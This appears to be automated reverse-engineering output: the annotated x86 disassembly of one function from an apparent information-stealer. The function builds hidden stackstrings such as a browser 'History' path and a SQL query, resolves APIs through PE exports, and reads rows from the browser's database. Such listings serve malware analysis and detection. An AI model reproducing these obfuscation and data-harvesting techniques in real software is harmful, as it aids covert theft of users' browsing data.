Function at 0x4103a0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xf0
push ebx
push ebp
push esi
push edi
mov edi, edx
mov dword [esp + 0x80], ecx
call fcn.00419db5
mov esi, eax
test esi, esi
je 0x4107a1
xor ebx, ebx
mov dword [esp + 0x30], 0x2c433cf5
mov dword [esp + 0x34], 0x44433918
mov ecx, ebx
mov word [esp + 0x38], 0x423f
mov edx, 0xff
mov byte [esp + 0x3a], 0x49
movzx eax, byte [esp + ecx + 0x30]
add ax, 0x30
and ax, dx
mov word [esp + ecx*2 + 0xac], ax
inc ecx
cmp ecx, 0xb
jl 0x4103e7
xor eax, eax
mov word [esp + 0xc2], ax
lea eax, [esp + 0xac]
push edi
push eax
call fcn.0041b96a
mov edi, eax
mov dword [esp + 0x80], edi
pop ecx
pop ecx
test edi, edi
je 0x4107a1
mov ecx, edi
call fcn.0041b9c4
mov ebp, eax
test ebp, ebp
je 0x41079a
xor edx, edx
mov ecx, ebp
call fcn.0041bc30
mov dword [esp + 0x84], eax
test eax, eax
je 0x410783
push ebx
push 1
lea ecx, [esp + 0x84]
push ecx
push eax
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x41076e
mov dword [esp + 0x50], 0x18221dfa
mov ecx, ebx
mov dword [esp + 0x54], 0x261c17d4
mov dword [esp + 0x58], 0x291d2123
mov dword [esp + 0x5c], 0x1d1cd421
mov dword [esp + 0x60], 0x26232827
mov dword [esp + 0x64], 0x1618d42d
mov dword [esp + 0x68], 0x2720d9d4
mov byte [esp + 0x6c], 0xbe
mov al, byte [esp + ecx + 0x50]
add al, 0x4c
mov byte [esp + ecx + 0xe0], al
inc ecx
cmp ecx, 0x1d
jl 0x4104ae
mov byte [esp + 0xfd], bl
mov ecx, ebx
mov dword [esp + 0x10], 0xfdf4fdeb
mov dword [esp + 0x14], 0xcd98ecfb
mov dword [esp + 0x18], 0x9894d4ca
mov dword [esp + 0x1c], 0xd4ccd1cc
mov dword [esp + 0x20], 0xeafe98dd
mov dword [esp + 0x24], 0xcd98f5f7
mov word [esp + 0x28], 0xd4ca
mov byte [esp + 0x2a], 0xcb
mov al, byte [esp + ecx + 0x10]
xor al, 0xb8
mov byte [esp + ecx + 0xc4], al
inc ecx
cmp ecx, 0x1b
jl 0x410506
lea eax, [esp + 0xe0]
mov byte [esp + 0xdf], bl
push edi
push eax
call fcn.00412606
push ebx
lea eax, [esp + 0x38]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0xd8]
push eax
push dword [esp + 0x94]
call dword [esi + 8]
add esp, 0x1c
test eax, eax
jne 0x410766
push dword [esp + 0x2c]
lea edi, [esp + 0x48]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x4106c8
mov dword [esp + 0x3c], 0xacb4a994
mov word [esp + 0x40], 0x7aa5
mov byte [esp + 0x42], 0x60
mov dword [esp + 0x30], 0xd0b3686b
mov word [esp + 0x34], 0x98ca
mov byte [esp + 0x36], 0x7e
mov ecx, ebx
mov al, byte [esp + ecx + 0x3c]
sub al, 0x40
mov byte [esp + ecx + 0x88], al
inc ecx
cmp ecx, 7
jl 0x410595
mov byte [esp + 0x8f], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x30]
sub al, 0x5e
mov byte [esp + ecx + 0x90], al
inc ecx
cmp ecx, 7
jl 0x4105b1
mov byte [esp + 0x97], bl
mov ecx, ebx
mov dword [esp + 0x10], 0x6a6a373a
mov dword [esp + 0x14], 0x6a6a6a6a
mov dword [esp + 0x18], 0x6a6a6a6a
mov dword [esp + 0x1c], 0x6a6a6a6a
mov word [esp + 0x20], 0x3a6a
mov byte [esp + 0x22], 0x37
mov al, byte [esp + ecx + 0x10]
sub al, 0x2d
mov byte [esp + ecx + 0x98], al
inc ecx
cmp ecx, 0x13
jl 0x4105f9
lea eax, [esp + 0x88]
mov byte [esp + 0xab], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x8c]
lea ecx, [esp + 0x48]
call fcn.0041baad
pop ecx
push 1
push dword [esp + 0x30]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x34]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x90]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x94]
lea ecx, [esp + 0x48]
call fcn.0041baad
pop ecx
push ebx
push dword [esp + 0x30]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x34]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x98]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x9c]
lea ecx, [esp + 0x48]
call fcn.0041baad
pop ecx
push dword [esp + 0x2c]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x410593
cmp dword [esp + 0x44], ebx
je 0x410762
mov dword [esp + 0x10], 0xcecdc3a2
mov ecx, 0xff
mov dword [esp + 0x14], 0x89d3ccc9
mov dword [esp + 0x18], 0xb9cdc67f
mov dword [esp + 0x1c], 0x88cdc67f
mov word [esp + 0x20], 0xd2ce
mov byte [esp + 0x22], 0xce
movzx eax, byte [esp + ebx + 0x10]
sub ax, 0x5a
and ax, cx
mov word [esp + ebx*2 + 0x50], ax
inc ebx
cmp ebx, 0x13
jl 0x410703
push dword [esp + 0x104]
xor eax, eax
push dword [esp + 0x84]
mov word [esp + 0x7e], ax
lea eax, [esp + 0x58]
push eax
call fcn.0041b96a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x410758
mov edx, dword [esp + 0x4c]
mov ecx, dword [esp + 0x44]
push edi
call fcn.00418de4
pop ecx
push edi
call fcn.004056f0
pop ecx
push dword [esp + 0x44]
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0x78]
push dword [esp + 0x2c]
call dword [esi + 0x18]
pop ecx
push dword [esp + 0x7c]
call dword [esi + 0x1c]
pop ecx
push dword [esp + 0x84]
call fcn.004056f0
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call fcn.00412cbc
call eax
push ebp
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf0
ret